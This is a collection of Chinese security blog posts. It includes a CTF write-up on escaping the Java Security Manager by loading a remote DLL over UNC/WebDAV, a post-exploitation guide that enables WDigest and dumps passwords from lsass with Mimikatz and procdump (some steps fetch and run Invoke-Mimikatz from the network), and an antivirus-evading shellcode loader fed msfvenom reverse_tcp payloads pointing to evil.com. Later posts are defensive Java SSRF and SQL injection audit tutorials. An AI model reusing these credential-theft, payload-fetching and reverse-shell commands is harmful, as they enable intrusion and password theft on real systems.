找到 catalina.policy 文件,是Tomcat默认的安全策略配置文件,这应该是本题可能有点脑洞的地方,因为没有给 C:/babyEoP/apache-tomcat-8.5.42 的读权限,所以无法列目录,但是 conf 目录是可读的。(有将近10位选手读到了这个文件hhhh。)
我在官方提供的 catalina.policy 的基础上,做了一些修改。给了 LoadLibrary 、 createClassLoader、 accessDeclaredMembers 几个重要权限。
分析 policy ,应该很容易可以想到,要通过 JNI 绕过 Java Security Manager。但是 JNI 需要加载一个 dll 动态链接库,由于并没有给任何写权限,所以是不可能上传 dll 的。
并且,webshell 的 Eval Java Code 使用时,需要向当前目录写一个 tmp.jsp 文件,所以也是不能用的(不要想着用这个执行代码)。
那么该如何才能执行代码来加载一个不在本地的dll呢?
下面是具体的解题思路:
题目已经给了反序列化的点以及gadget,可以通过这个来执行代码。
ysoserial 的 commons-collections 利用链提供了几个直接执行命令的 gadget,但是都是基于 Runtime.exec 的,并没有给这个权限。So 想要直接利用是不行的。
但是直接用 gadget 构造出加载dll可能比较困难,所以这里可以利用稍微高级一点的方法——加载外部的jar来执行代码。
构造见 https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java (基于 CommonsCollections6)
有些师傅用的 CommonsCollections5 gadget 改的,但是 BadAttributeValueExpException 在反序列化时,会检查是否启用 JSM,如果启用了,则不会触发 gadget 需要的 toString 方法,导致利用失败。
下面要加载 dll,用 JNI 绕 JSM。
同样因为没有写权限,且 dll 无法一起打包到 jar 里,所以要从网络上加载 dll。
这里利用 System.load 的一个特性——可以使用 UNC 路径,加载远程的 dll。
为什么可以使用 UNC 呢?来看下 System.load 的调用过程。

调用了 Runtime.getRuntime().load0
Runtime.getRuntime().load0

在这里会判断 filename 是否是一个绝对路径,如果不是就直接抛出异常,是就进一步加载。
File.isAbsolute

再看看 File 是如何判断是否是绝对路径的。
根据描述,linux下要求以 / 开头。windows下,要求以盘符或者 \\\\ 开头。
emm 综上,所以这里可以使用 UNC 路径。
下面是另一个坑,UNC 默认是走 445 端口的,如果没有特殊情况,公网上都是屏蔽了这个端口的。
这里利用 windows 一个特性,在开启了 webclient 服务的情况下,UNC 访问 445 失败时,会尝试访问目标服务器80端口的 webdav 去加载资源 (‾◡◝), 这一点 hint 已经提示过了。
R.java
1 | public class R { |
执行命令
1 | javac R.java |
将打包的 R.jar 放到服务器上的 web 服务下。
1 | #ifdef __cplusplus |
1 | #include "R.h" |
编译成 dll,放到服务器的 webdav 服务下。
用 https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java 构造序列化 payload,贴到 cookie 里打一发,完事儿~
]]>在 KB2871997 之前, Mimikatz 可以直接抓取明文密码。
当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内存(lsass进程)不再保存明文口令。Mimikatz 将读不到密码明文。
但由于一些系统服务需要用到 Wdigest Auth,所以该选项是可以手动开启的。(开启后,需要用户重新登录才能生效)
以下是支持的系统:
cmd
1 | reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f |
powershell
1 | Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1 |
meterpreter
1 | reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1 |
cmd
1 | reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f |
powershell
1 | Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0 |
meterpreter
1 | reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 0 |
在开启 Wdigest Auth 后,需要管理员重新登录才能逮到明文密码。
我们可以强制锁屏,让管理员重新登录。
cmd
1 | rundll32 user32.dll,LockWorkStation |
powershell
1 | powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1');" |
经测试 Win10企业版 仅锁屏读明文失败,需要注销才行,其它版本未知。
开启 Wdigest Auth 后,接下来就用常规的抓取明文的方式就行了。
powershell
1 | IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz |
exe
1 | privilege::debug |
当 Mimikatz 被杀,可以先将 lsass 进程 dump 下来,在本地用 Mimikatz 读取。
Dump 进程
可以用微软提供的 procdump ,自带微软签名,可以过杀软。
1 | procdump64.exe -accepteula -ma lsass.exe lsass.dmp |
Mimikatz 读取
1 | sekurlsa::minidump lsass.dmp |
亲测可绕 360全家桶。
X86 & X64 的 SHELLCODE 都可以,用对应 gsl 加载就行了。
为减小体积,已用 UPX 加壳压缩。
首先要准备好 SHELLCODE,支持 MSF 的 RAW 和 HEX 格式。
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=evil.com LPORT=666 -f raw > evil.raw |
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=evil.com LPORT=666 -f hex > evil.hex |
有三种方式。
从参数传入 (必须是HEX格式)
1 | gsl -s SHELLCODE -hex |
从文件传入,需要先把 SHELLCODE 文件传到目标服务器上
加载 RAW 格式
1 | gsl -f evil.raw |
加载 HEX 格式
1 | gsl -f evil.hex -hex |
从远程服务器加载,把 SHELLCODE 文件挂在WEB目录下。(支持HTTP/HTTPS)
加载 RAW 格式
1 | gsl -u http://evil.com/evil.raw |
加载 HEX 格式
1 | gsl -u http://evil.com/evil.hex -hex |
最近的事情真的太多了 ≧﹏≦ ,趁着刚搞完小组的面试,发篇热乎的。
自从 2016 年猪猪侠在乌云峰会发表议题——《Build Your SSRF Exploit Framework》,SSRF 才开始火起来的吧,攻击面越来越广,利用某些奇技淫巧可以直接GETSHELL。
SSRF 的介绍、利用方式,PDF里都有讲,就不再赘述了,开始进入正题。
Java 支持的协议可以在 sum.net.www.protocol 包下看到,如下图:

图中用的 JDK 是 1.7,可以看到有 gopher file ftp http https jar mailto netdoc 八种协议。其中最有意思的是 gopher 协议,可以用来构造其它协议的请求。但是,gopher 在 JDK8 中已经被移除。 经过测试,在高版本的 JDK7 里,虽然 sun.net.www.protoocol 中还有 gopher 包,但是实际也已经不能使用,会抛 java.net.MalformedURLException: unknown protocol: gopher 的异常,被阉割地时间在2012年左右(From @K0rz3n)。
构造一个简单的 http 请求:
1 | try { |
简述下这个过程,首先,构造一个 URL 对象,调用 url 的 openConnection() 方法来获取一个 URLConnection 实例,然后再调 getInputStream() 拿到 InputStream,也就是请求的响应流。之后,再做我们想要的其它事情。
在这个过程中,如果 URL 是可控的,那么就会存在 SSRF 漏洞。
下面分析下主要的几个方法。
构造一个 URL 对象,构造时,可以指定 协议,HOST,端口,文件路径,URLStreamHandler。
其中,URLStreamHandler 是一个抽象类,每个协议都有继承它的子类 —— Handler(可以在各协议的包下找到)。Handler 定义了该如何去打开一个连接( openConnection() )。
如果是直接传入一个 URL 字符串,会在构造对象时,根据 protocol 自动创建对应的 Handler 对象。
每次调用 openConnection() 时,都会创造一个新的实例,也就是 URLConnection。但是,在实例创建时,真实的网络连接实际上并没有建立。只有在调用 URLConnection.connect() 方法后才会建立连接。
从打开的连接获取一个 InputStream,可以从中得到 URL 请求的响应流。在调用这个方法时,会自动调用 URLConnection.connect() 方法,也就是建立连接。所以一旦调用 getInputStream() 连接就已经建立好了,不管后续做什么操作,这个 URL 请求都已经发出去了。
1 | URL u = new URL(url); |
假设这里的 URL 使用户可控的,这段代码相对于上一段来说,会稍微 “安全” 些。如果攻击者想要使用 gopher 协议攻击内网服务,在第 2 行时,会由于类型强制转换失败而抛出异常。在异常抛出前,一直没有调用到 connect() 方法,所以请求并没有发出去。
第
2行的类型转换相当于限定了协议,在能够明确使用的协议的情况下,建议用这种方式对协议做限制。
这是 JDK 自带的类,它的 read() 方法,用来加载图片。它可以传入一个 URL 对象,且没有协议限制,如下:
ImageIO.java:1386
1 | public static BufferedImage read(URL input) throws IOException { |
如果服务器在加载图片时,URL 是用户可控的,那么就会存在 SSRF 漏洞。
一个 get 请求的例子:
1 | CloseableHttpClient httpClient = HttpClients.createDefault(); |
问题同上。
okhttp
Request
…
只要是能够对外发起网络请求的地方,就有可能会出现SSRF漏洞。
从指定url获取内容
数据源连接
后台状态刷新
webmail (POP3/SMTP/IMAP)
文件处理 (加载图片/XML/PDF/ffpmg/ImageMagic)
避免 url 用户可控,包括 path
统一请求响应及错误信息
白名单校验url及ip
限制协议及端口
TTL 设置为 0,防止 DNS Rebinding 攻击(Java默认为 0)
SQL注入是什么,有什么用,就不多介绍了。总结下漏洞的原因,主要是由于开发者对用户的输入没有做好过滤,直接将用户的输入带入到 SQL语句中,导致恶意用户可以控制服务器执行的SQL语句。
在 Java 中,操作SQL的主要有以下几种方式:
java.sql.Statement
java.sql.PrepareStatement
使用第三方 ORM 框架 —— MyBatis 或 Hibernate
下面我们来分析以上几种执行SQL的方式。
java.sql.Statement 是最原始的执行SQL的接口,使用它时,需要手动拼接SQL语句,如下面这样:
1 | String sql = "SELECT * FROM user WHERE id = '" + id + "'"; |
假设这里 id 参数是直接从用户的请求里获取的,并且没有经过过滤,那么这处代码就会存在SQL注入漏洞。
构造请求 /?id='or 1 #,服务器将 'or 1 # 拼接到 sql 语句中,就会变成 SELECT * FROM user WHERE id = ''or 1 #,将返回 user 表的所有记录。
在任何时候,都不推荐使用 java.sql.Statement 这种方式来执行SQL。
因为这种方式写的代码可读性很差,容易出错,同时也存在很大的安全隐患。
这个接口是对 java.sql.Statement 的拓展,拥有了防SQL注入的特性。
Tip:
java.sql.Statement每次执行一条SQL,都要重新编译一次SQL。而java.sql.PreparedStatement预编译的方式,会将SQL缓存在数据库,可以重复调用,相比Statement效率要高一些。
使用时,在SQL语句中,用 ? 作为占位符,代替需要传入的参数,然后将该语句传递给数据库,数据库会对这条语句进行预编译。如果要执行这条SQL,只要用特定的 set 方法,将传入的参数设置到SQL语句中的指定位置,然后调用 execute 方法执行这条完整的SQL。示例如下:
1 | String sql = "SELECT * FROM user WHERE id = ?"; |
此时,如果我用之前的请求攻击,执行的SQL会变成 SELECT * FROM user WHERE id = '\'or 1 #',可以看到单引号是被转义了,同时参数也被一对单引号包裹,数字型注入也不存在了。
我们已经知道,通过占位符传参,不管传递的是什么类型的值,都会被单引号包裹。而使用 ORDER BY 时,要求传入的是字段名或者是字段位置,如:
SELECT * FROM user ORDER BY id
SELECT * FROM user ORDER BY 1
如果传入的是引号包裹的字符串,那么 ORDER BY 会失效,如:SELECT * FROM user ORDER BY 'id'。
所以,如果要动态传入 ORDER BY 参数,只能用字符串拼接的方式,如:
1 | String sql = "SELECT * FROM user ORDER BY " + column; |
那么这样依然可能会存在SQL注入的问题,在 Java 中会有两种情况:
column 是字符串型
这种情况和 Statement 中描述的一样,是存在注入的。要防御就必须要手动过滤,或者将字段名硬编码到 SQL 语句中,比如:
1 | String column = "id"; |
column 是 int 型
因为 Java 是强类型语言,当用户传递的参数与后台定义的参数类型不匹配,程序会抛出异常,赋值失败。所以,不会存在注入的问题。
类似的,
GROUP BY也会有同样的问题。
基础篇提到的 JEESNS 用的就是 MyBatis,略过介绍。
MyBatis 使用内联参数 ${example} 或 #{example},将查询的属性和参数做绑定,如下:
${}
1 | <select id="selectStudentByStuId" resultMap="studentMap"> |
#{}
1 | <select id="selectStudentByStuId" resultMap="studentMap"> |
两种方式有什么区别呢?接着看。
使用 ${foo} 这样格式的传入参数会直接参与SQL编译,类似字符串拼接的效果,是存在SQL注入漏洞的。所以一般情况下,不会用这种方式绑定参数。
使用 #{} 做参数绑定时, MyBatis 会将SQL语句进行预编译,避免SQL注入的问题。
MyBatis 预编译模式的实现,在底层同样是依赖于 java.sql.PreparedStatement,所以 PreparedStatement 存在的问题,这里也会存在。
ORDER BY 只能通过 ${} 传递。为了避免SQL注入,需要手动过滤,或者在SQL里硬编码 ORDER BY 的字段名。
此外,还有一种情况 —— LIKE 模糊查询。
看下面这个写法:
1 | <select id="selectStudentByFuzzyQuery" resultMap="studentMap"> |
在这里,MyBatis 会把 %#{stuName}% 作为要查询的参数,数据库会执行 SELECT * FROM student WHERE student.stu_name LIKE '%#{stuName}%',导致查询失败,所以这里只能用 ${} 的方式传入。而如果用 ${} 又存在SQL注入的风险,怎么办呢?
最好的方法是,使用数据库自带的 CONCAT ,将 % 和我们用 #{} 传入参数连接起来,这样就既不存在注入的问题,也能满足需求啦。示例:
1 | <select id="selectStudentByFuzzyQuery" resultMap="studentMap"> |
Hibernate 是一个高性能的 ORM 框架,可以自动生成 SQL 语句,通常与 Struts、Spring 一起搭配使用,也就是我们熟知的 SSH 框架。
Hibernate 支持多种操作数据库的方式,包括原生的 SQL,以及自家的 HQL。
原生 SQL 的注入和前面介绍过的注入都一样,都是拼接的问题,就不细讲了。这里介绍下 Hibernate 写原生 SQL 时,可能会用到的几种写法吧。
要使用原生 SQL ,都会调用到 Sessions.createSQLQuery() 方法。
下面看第一种写法,如下:
1 | session.beginTranscation(); |
第二种,上面的例子中,Hibernate 会使用 ResultSetMetadata 返回的标量值的实际类型。但是如果过多使用它会降低程序性能,所以通常会用 addScalar() 提前指定返回值的类型。代码如下:
1 | List list = session.createSQLQuery("SELECT id,stu_name FROM student") |
第三种,上面的两个例子,返回的都是标量结果集,但是 Hibernate 是一个 ORM 框架,我们希望通过它,直接将返回的数据映射成对象。那怎么写呢?其实,很简单。只要为每个类和表写一个映射关系,让 Hibernate 知道该怎么把查到的数据转换成对象就行了(映射关系是如何写的,请自行百度)。然后,调用 addEntity() 将查询结果和类绑定一下,代码如下:
1 | List<Student> list = session.createSQLQuery("SELECT * FROM student") |
1 | <!-- Student映射文件 --> |
HQL 是 Hibernate 独有的面向对象的查询语言,接近 SQL。Hibernate引擎会对 HQL 进行解析,翻译成 SQL,再将 SQL 交给数据库执行。
关于 HQL 的注入,限制很多。
HQL 的限制如下:
不能查询未做映射的表,所以想跨库查系统表基本没有希望。
很多地方说 HQL 不支持 UNION,其实是错误的。Hibernate 支持 UNION 的。但是,想要使用 UNION,必须在模型的关系明确后可以,这种情况比较少见,所以会导致 UNION 失败。
表名,列名大小写敏感,查询时使用的列名大小写必须和映射类的属性一致。
不能用 *, # , --
无延时函数
所以,利用 HQL 是比较极限的一件事情。
本文不讨论如何
HQL注入,想了解更多的注入手法,可以看这篇文章。
HQL 会出现注入的地方还是在字符串拼接的时候,审计的时候看看 SQL 是不是用加号 + 的就行了。
比如这个例子:
1 | List<Student> studentList = session.createQuery("FROM Student s WHERE s.stuId = " + stuId) |
下面来看看 HQL 能防注入的安全写法。
第一种,使用具名参数 Named parameter:
1 | List<Student> studentList = session.createQuery("FROM Student s WHERE s.stuId = :stuId") |
第二种,占位符 Positional parameter:
1 | List<Student> studentList = session.createQuery("FROM Student s WHERE s.stuId = ?") |
这两种写法,和 PreparesSatement 的原理效果一样,都是以预编译的方式,通过参数绑定,将参数和 SQL 分离,保证 SQL 不被污染。
本篇,我会引入一个开源的 Java Web 项目,通过实例分析 Java Web 的项目结构,常用的 MVC 模式。
JEESNS,是一款基于 JAVA 企业级平台研发的社交管理系统,在 github 上有 200+ star,在开源的 Java Web 项目中算是还不错的了。在本章及后面的内容,我会用它做实例,进行审计分析。
项目地址: https://github.com/zchuanzhao/jeesns
你可以直接把项目 clone 下来,然后导入到 IDE。也可以直接在 IDEA 里把项目从 VCS(版本控制系统)中 checkout 出来。
下面我演示下,如何在 IDEA 里直接从 git 服务器上迁出项目。
打开 IDEA,点Check out from Version Control,选择Git。
在弹出的 dialog 里,输入 git 的地址(https://github.com/zchuanzhao/jeesns.git),以及本地保存的位置,然后`clone`。
之后,IDEA 会开始下载项目,并构建,下面是构建完毕的项目工程。
在项目的根目录下,有一个pom.xml的文件,这个文件的存在,表明项目是用Maven构建的,关于 Maven 可以点这里。它是用来管理项目源码、配置文件,不过最大的用处还是处理项目的依赖关系。作用有点类似于 nodejs 的 npm,python 的 pip。
下面,点开这个pom.xml。

红框的 ① 处,描述了这个项目的开发组织,项目名称,项目版本。
② 处,用的是modules标签,说明这是一个多模块项目。在左边的导航栏,可以看到确实有许多子模块。
多模块项目是为了在项目开发中便于后期维护,所以采用分层开发的方法,这样各个模块的职责会比较的明确,维护起来相对容易。在打包时,只要对父模块打包即可,子模块会自动合并进来。
③ 处,是 maven 在构建时相关的配置,这里用了一个 compiler 插件,表示源码用的是1.7的JDK并且生成的目标字节码文件也要是1.7的。
点开每个子模块,看到每个模块下还会有一个pom.xml。

随便点一个pom.xml,它和根目录下的pom.xml有所不同,多了一个<parent>标签,和dependencies。
<parent>标签,表示这个子模块,将上级的jeesns项目作父模块。
dependencies,描述了这个模块的依赖关系。当前的web模块依赖于子模块core,model,service,common。而子模块core里,依赖于许多的第三方库,包括Spring、MyBatis、apache-commons等。它们都继承了上级的jeesns父模块,在逻辑上同属一个项目。
相关文章 https://www.cnblogs.com/davenkin/p/advanced-maven-multi-module-vs-inheritance.html
前面有说过,pom.xml有个重要的作用是管理依赖关系。在<dependencies>中填写要引入的第三方库信息,Maven在import时,会从仓库下载相关的库文件,加入到当前项目。
我们需要<dependencies>中,检查使用的第三方库是否有已知的安全漏洞。
这里只要根据组件名称、版本号,去官网或者CVE漏洞库搜下就行了。如果项目很大,引入了太多库,这也是件很累的事情。
所以 OWASP 出了一个工具 Dependency_Check 专门检查这类问题,这个工具的使用在前面一篇已经讲过了,就不多介绍了。
JEESNS 一共分了六个子模块,分别是 jeesns-common、jeesns-core、jeesns-dao、jeesns-model、jeesns-service、jeesns-web。
接下来,我们来分析各个子模块的作用。
看名字就知道,这是这套 Web 程序的核心部分。
通过分析 pom.xml 文件,发现它引入了以下第三方库:
| 库名 | 用途 |
|---|---|
| spring-* | spring 框架相关 |
| freemarker | 前端模板引擎 |
| httpclient | http 客户端 |
| mysql-connector | mysql 连接器驱动 |
| c3p0 | 数据库连接池 |
| mybatis | 半自动 ORM 框架 |
| hibernate-validator | 数据有效性验证 |
| jackson | json 数据处理库 |
| jsoup | html 解析器 |
| log4j | 日志管理框架 |
| commons-io | io 工具类 |
| commons-codec | 编码处理工具类 |
| commons-lang | Java 基本对象工具类 |
| commons-fileupload | 提供文件上传功能 |
| commons-logging | 提供 Java 日志接口 |
根据上表,即使我们不看官方的介绍,也基本可以确定这套程序的技术栈。
主要使用了 SSM框架 (Spring+SpringMVC+MyBatis), freemarker 模板引擎,支持 MySQL 数据库,使用 c3p0 连接池,jackson 处理 json 数据,hibernate-validator 对用户传来的请求数据进行有效性验证,还有一些 apache 提供的工具类。
1 | - core |
通过分析 jeesns-core 的模块,我们已经知道了 jeesns 的技术栈,是目前比较流行的 SSM 框架,这个核心模块给整个项目构建了一个基本骨架,包括功能方面的还有我们关心的安全方面的(虽然只有 XSS 防御 ($ _ $) )。
在分析下面模块之前,我们需要先了解 SSM 的一些概念。参考文章
当然,最重要的还是要知道什么是 MVC,因为大部分的 Web 项目,都是基于这种设计模式开发的,包括 JEESNS 。参考文章
设计模式与编程语言无关,可以说是一套经验科学,由前人总结、分类,被广泛使用。目的是为了代码可重用性、让代码更容易被他人理解、保证代码可靠性。
Java设计模式学习链接:https://github.com/AlfredTheBest/Design-Pattern
如果,你已经了解了SSM、MVC的概念,那就接着往下看吧 O(∩_∩)O 。
对应 MVC 中的 Controller 层,负责具体业务的模块流程的控制,会调用到下面 Service 层的接口来控制业务流程。
webapp 里是 View 层用到的静态资源(js、css、jpg)以及freemarker的模板文件。
resources 里,有项目相关的各种配置文件。
Controller 层和 View 层结合的最紧密,两者通常协同开发。
这里的 Controller 层还设置了监听器,负责对用户的身份和权限进行认证管理。
通常在 Java Web 里,我们会用
Spring-Security或Shiro这些第三方库来帮助我们实现用户认证和用户授权的功能 。
Service 层,主要负责业务模块的应用逻辑应用设计,先设计接口,在设计实现类。这一层,是纯业务逻辑。在使用 Service 层时,会继续调用下面的 DAO 层的接口。
DAO 层,负责数据持久化,通俗点说就是用来和数据库交互,读写数据的模块。
前面有说到,JEESNS 用了 MyBatis 作为数据持久化框架。MyBatis 属于半自动 ORM ,它会帮我们自动将数据查询结果映射到对象,但是数据查询的 SQL 语句还是要我们自己手写,这点和其它的 ORM 明显的不一样。
MyBatis 的使用方式主要有两种,一种是使用注解,直接将SQL语句和方法绑定在一起,像下面这样:
1 | package org.mybatis.example; |
这种方式,适合简单的SQL语句,一旦语句长了,注释会变得复杂混乱,维护起来很麻烦,所以它只适合小项目(小项目用的也不多)。
用的最多的是第二种——XML配置,将SQL语句和Java代码分离,有独立的xml文件,描述某个方法会和某个SQL语句绑定。

如图,每一个接口,在资源文件目录中,都有对应的xml。接口中的方法,和xml中id相同的SQL语句关联。
例如,IArticleCateDao 的 list()方法被调用,那么就会找到 ArticleCateMapper.xml中 id等于 list 的方法,执行它的 SQL,然后根据 resultMap 描述的 字段-属性 映射关系,返回相应的实例对象。
这里的 resultMap 具体如下:
1 | <resultMap id="ArticleCateResult" type="ArticleCate"> |
其中,id属性是该映射的名称,type属性代表映射的类。里面有 5 个子元素,id元素映射到ArticleCate的id属性。其它四个result元素中的column属性会映射到对应的property属性。
dao 模块负责数据的持久化,会和数据库交互。开发者编写的SQL语句也定义在这个模块,MyBatis有特殊的语法将查询的参数代入到SQL语句中,如果开发者在这里使用的语法有问题,就有极有可能出现 SQL注入。
定义了所有和功能业务相关的数据模型,和数据库表对应。
定义了其它模块会用到的常量以及工具类。
本篇主要以 JEESNS 为例,介绍了目前比较流行的 Java Web 项目的结构。
理清项目结构后,我们就可以继续下一步——漏洞挖掘啦。
]]>目前,JDK已经出到11了,JDK每个版本都会有些新特性出来。很多情况下JDK并不向下兼容,导致一些软件在较新的JDK中无法正常运行,所以推荐用现在比较主流的JDK8。而且有些漏洞需要在低版本的JDK上才能复现出来,比如反序列化用到的JNDI Bean Property类型的Gadget,需要在小于JDK8_113的版本下才可以利用,所以在安装的时候建议再安装一个低版本的JDK。JDK安装时自带的控制面板程序,可以帮助我们很方便的切换版本。

做任何一门语言的代码审计,一个强大的IDE是必不可少的,好的IDE可以极大提高我们审计的效率。写Java的程序及代码审计,我推荐使用JetBrains家的Intelij IDEA(JB大法好 O(∩_∩)O ),内置的代码检查工具比Eclipse强太多了,而且有很多的插件支持。
常见的数据库有 MySQL、PostgreSQL、Oracle,除此之外还有现在比较流行的非关系型数据库 Redis、Mongodb、Memcached 等等,有些数据库安装起来可能比较麻烦,不用一次性装完,有需要的时候再去装就行了。
Java Web应用在开发完后,通常会以war包的形式发布,我们需要把这个war包部署到自己的Web容器(也可以说是Web服务器)里去,容器在启动后会自动解压war包,处理用户发来的HTTP请求,将jsp编译成servlet,管理servlet的整个生命周期。
常见的 Web 容器有 Tomcat,JBoss,Jetty,Weblogic,不同的容器在功能、性能上有所差异,但仅仅是做代码审计用Tomcat就足够了。
一个完整的Java项目,必然会引入一些外部的第三方库。这些库如果出了安全漏洞,会给应用带来巨大的风险。比如经常爆洞的struts2,以及最近几年很火的Java反序列化漏洞相关的fastjson,jackson,apache-commons-collections等等。如果开发者在开发的时候,没有对引入的库做安全检查,或者是直接从代码库里拉出来的依赖配置,那么很可能会引入过时了很久的库版本,带来安全隐患。在 OWASP TOP10 中有讲到这一类型的安全风险。
推荐一个工具,OWASP 出的 Dependency_Check,可以自动帮我们检查,引入的第三方库是否有已知的安全漏洞。
作为 maven 的插件使用,用法很简单,直接在项目的 pom.xml 写入
1
2
3
4
5
6
7
8
9
10
11
12
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>3.3.2</version>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
然后,执行 `mvn verify` 就可以了。我更喜欢以独立的命令行模式来运行,这样就不用进IDE额外修改 pom.xml 配置了。
进入项目的github,DependencyCheck,找到最新的那版,下载下来。
解压出来,进到bin目录,有两个文件,分别对应windows版和linux版。

dependency-check.bat --project 项目名 --out 输出名 -s 源码路径 即可,程序会自动从NVD更新漏洞库,所以需要点时间(应该还要翻墙)。

FindSecBugs 是专门用于检测Java Web应用安全漏洞的插件,支持多种IDE,还可以和SonarQube等代码分析平台集成。
安装方法官网讲的很详细了,IDEA中安装FindSecBugs。
这里主要讲IDEA中如何使用FindSecBugs。
IDEA打开要审计的项目以后,先点开 FindBugs-IDEA 标签,然后点左边的这个带绿色旗帜的文件夹logo,插件就会自动对项目进行审计。


看这个项目的扫描结果,发现了 5 处安全bug,其中四处是文件的操作可能被用户控制,造成任意文件删除。当然,这也可能是误报,需要人工来再次确认。不过,这已经给我们的审计工作带来了很大的便利了(。^▽^)。
做Java Web审计时,可能要结合黑盒的方法,动态调试。这时候就需要抓包改包的工具,发送自定义的HTTP包。这个功能很多工具都有,burpsuite,zap,postman,fiddler都可以用。
]]>Java该怎么审计,其实我也挺头大的。因为我觉得审Java的代码和审PHP的代码,相差不大。WEB 漏洞就那些,只是换了门语言实现而已,只要漏洞原理知道了,审起来是很容易的。很多学安全的同学,应该是从PHP入门的。PHP作为一门脚本语言,跨平台、语法简单、易上手、开源框架多、用户量大。但是,PHP语言本身的特性,它在后期的拓展和维护困难,而且支持所有漏洞(抖个机灵)。很多对系统稳定性、安全性要求较高的厂商不太会去选择PHP,而是Java或者别的语言。
Java是纯正的面向对象的语言,适合团队协作开发,重构、维护相对轻松,语言生态好,且在高性能、高并发、分布式的场景吊打某语言。(虽然PHP也是支持面向对象的写法,不过身边真的在用面向对象的方法写PHP的同学真的很少,可能是不太理解面向对象的概念,也可能是因为写起来代码太长了?)
目前,网上关于 WEB 代码审计的文章很多都是PHP的,和Java相关的很少,而且质量一般。所以我打算做一个Java代码审计的系列,分享Java代码审计相关的小姿势。
在这个系列里,我假设每个读者都对 Java 和 WEB 安全方面的知识都有一定的了解,所以可能不会对漏洞的原理做很深的分析。
如果你觉得看起来有些累,或者对某个漏洞不理解,建议先去找些相关资料学习下。
]]>